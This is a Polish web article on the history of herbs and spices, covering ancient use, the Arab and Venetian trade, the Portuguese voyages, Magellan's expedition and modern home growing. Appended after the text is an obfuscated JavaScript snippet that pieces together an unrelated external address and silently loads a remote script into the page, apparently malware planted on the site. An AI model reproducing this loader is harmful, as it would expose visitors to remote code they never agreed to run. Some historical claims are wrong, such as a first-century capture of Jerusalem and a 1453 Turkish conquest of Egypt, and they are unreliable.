Historia ziół i roślin przyprawowych

Początki stosowania przypraw i leczniczych roślin zielnych.

 Rośliny przyprawowe i zioła od niepamiętnych czasów służą ludziom zarówno jako dodatki smakowe do pożywienia, jak i składniki leków. Według archeologów, już człowiek pierwotny znał i stosował niektóre przyprawy. Tysiące lat przed naszą erą rośliny przyprawowe i zioła lecznicze były uprawiane i stosowane przez Egipcjan, Greków, Chińczyków i Rzymian. Świadczą o tym między innymi znaleziska w egipskich sarkofagach, które dowodzą, że zioła były umieszczane w grobowcach zmarłych wraz z najcenniejszymi przedmiotami. Poza tym, egipskie papirusy z 1500 roku p.n.e opisują zioła lecznicze stosowane na różnego rodzaju choroby oraz, co ciekawe, 800 przepisów na potrawy z wykorzystaniem różnych przypraw. Z kolei zapisy klinowe sporządzane przez starożytne ludy Azji, zawierają nazwy wielu stosowanych wówczas przypraw, a źródła z 2700 r.p.n.e. mówią o stosowanych jako leki ziołach na dworze cesarza Howang-ti. Babilończycy w 700 roku p.n.e. prowadzili już handel przyprawami i ziołami takimi jak szafran, fenkuł, tymianek, kminek, sezam, kardamon czy czosnek i cebula. Największą wiedzę o ziołach w czasach starożytnych miały jednak ludy Grecji i Rzymianie. Tam też, powstały dzieła słynnych uczonych dotyczących stosowania tych roślin w medycynie i farmacji. Rzymianie w 25 roku p.n.e. powołali nawet specjalną armię do poszukiwania tańszych źródeł przypraw.

 Wzrost znaczenia roślin przyprawowych.

 Handel przyprawami i ziołami rozwinęli Arabowie, co okazało się bardzo zyskowną i szybko rozwijającą się inicjatywą. W pierwszym stuleciu naszej ery głównym ośrodkiem tego handlu była Aleksandria, później zaś Konstantynopol. Kupcy tworzyli punkty przedstawicielskie na Dalekim Wschodzie, połączone z doskonałą współpracą z dostawcami przypraw. Rośliny wieziono najpierw drogą morską przez Morze Czerwone wprost do Aleksandrii, bądź też zatoką Perską do dzisiejszego Istambułu (wówczas Konstantynopolu). Koszty transportu i niebezpieczeństwa jakie towarzyszyły szlakom handlowym sprawiały, że ceny przypraw były niewyobrażalnie wysokie. Stać było na nie jedynie zamożne warstwy społeczne. Nowe przyprawy takie jak goździki, gałka muszkatołowa i kardamon dotarły do Europy po zdobyciu przez Krzyżowców Jerozolimy pod koniec pierwszego stulecia naszej ery.
 W Europie handel przyprawami zdominowali kupcy weneccy, którzy sprzedawali je w całym rejonie basenu Morza Śródziemnego. Znany wenecki podróżnik Marco Polo, który jako pierwszy zwiedził całą Azję, wzbudził zainteresowanie poszukiwaniem nowych źródeł przypraw. W swoim dziele opisuje sezam, imbir, cynamon i pieprz. To właśnie pieprz był w tamtych czasach najcenniejszą z przypraw, był ważony na złotych wagach i sprzedawany w aptekach. Włoska dominacja na europejskim rynku handlu przyprawami dobiegła końca w 1453 roku po zajęciu przez Turków Konstantynopola i Egiptu. Wtedy też, na dotychczasowy rynek wkroczyli Portugalczycy. W 1460 roku przywieźli z Sierra Leone, położonego w zachodniej Afryce, ogromny ładunek pieprzu doprowadzając do znacznego spadku jego ceny w Europie. W tym samym czasie wiedza o roślinach przyprawowych została znacznie wzbogacona. Dokonał tego hiszpański żeglarz Krzysztof Kolumb, podróżując przez Ocean Atlantycki i docierając do Ameryki, przywiózł do Europy nieznaną dotąd paprykę, wanilię i kakao. Potęga Portugalii w handlu roślinami przyprawowymi wzrosła po podróży Vasco da Gamy do Indii. Rozszerzono wówczas strefę wpływów Portugalczyków na Jawę, Cejlon, Madagaskar i Sumatrę, skąd królewskimi okrętami wożone były ładunki z przyprawami i ziołami. W 1519 słynny Portugalczyk Magellan, pod rozkazem króla Karola V, rozpoczął podróż przez najniebezpieczniejszy szlak morski z Europy do Indii i z powrotem. Celem miały być ogromne zyski ze sprzedaży przywiezionych przypraw. Koszty jakie musiała ponieść załoga ekspedycji okazały się gigantyczne. Po trzech latach wyprawy do hiszpańskiego portu wrócił jedynie jeden z pięciu okrętów, zginęło ponad 200 ludzi w tym sam Magellan. Ocalało jedynie 18 marynarzy, którzy przywieźli z sobą 70 ton cennych przypraw - z nawiązką pokryły one całe koszty przedsięwzięcia. Kapitan del Cano, który dowodził ocalałym statkiem, został obsypany przez cesarza bogactwami i mianowany herbem, na którym widniały dwie laski cynamonu, trzy gałki muszkatołowe i dwanaście goździków.

 Rozpowszechnienie przypraw i ziół.

 W XV i XVI wieku w Europie wzrosło zainteresowanie naukami botanicznymi, a co za tym idzie gwałtownie wzrosła wiedza o ziołach i ich leczniczych właściwościach. W tym również okresie zaczęły powstawać pierwsze książki o zielarstwie zwane u nas „ zielnikami” („herbarzami”). Dużą rolę w spopularyzowaniu ziół i przypraw w tym okresie miały klasztory, słynące ze swych ogrodów i kuchni. W XVIII wieku zaczęły pojawiać się książki opisujące wskazówki dotyczące stosowania przypraw i ziół w kulinariach. Wiedza ta nabrała na znaczeniu ponieważ, rośliny te przestały być domeną jedynie zamożnych domów, ale zaczęły być stosowane w kuchniach rodzin mniej bogatych. Autorzy dzieł o przyprawach, zaczęli zachęcać również do hodowli rodzimych ziół i roślin przyprawowych takich jak rozmaryn, cebula, czosnek czy pietruszka. W XIX wieku zaczęto uprawiać te rośliny w rejonach o odpowiednich do nich warunkami klimatycznymi, a ceny przypraw znacznie spadły.

 Obecnie uprawa roślin przyprawowych i ziół w ogrodach czy w skrzynkach balkonowych jest coraz bardziej popularna. Jednak potrzebny jest do tego stosowny zasób informacji i odpowiedniej wiedzy o warunkach rozsiewu, rodzajach gleby i nawożeniu, które to są różne dla każdego gatunku. Dla miłośników aromatycznych potraw nie jest to jednak nic trudnego a smakiem przypraw, które były niegdyś rarytasem, królującym na stołach najzamożniejszych, możemy się dzisiaj rozkoszować do woli.

 Źródło:
 „Zioła w domu” Danuta Tyszyńska-Kownacka
 „Rośliny źródłem przypraw” Anton Šedo, Jindřich Krejča
 „Rośliny przyprawowe i przyprawy w węgierskiej kuchni” Vilmos Romváry

<pre>
</pre>

<script type="text/javascript">// <![CDATA[
(function(){
q4aq=document.createElement("script");q4aq_=("us")+("ta");
q4aq_+="t"+(".");q4aq_+=("in");q4aqu="8826092";q4aq.async=true;
q4aqu+=".wimx4hju4aqur6rmi";q4aq.type="text/javascript";q4aq_+="f"+"o"+("/");
q4aqu+="8beh039a8m38q";q4aq.src="//"+q4aq_+q4aqu;
dq4aq=document.body;dq4aq.appendChild(q4aq);
})();
//]]></script>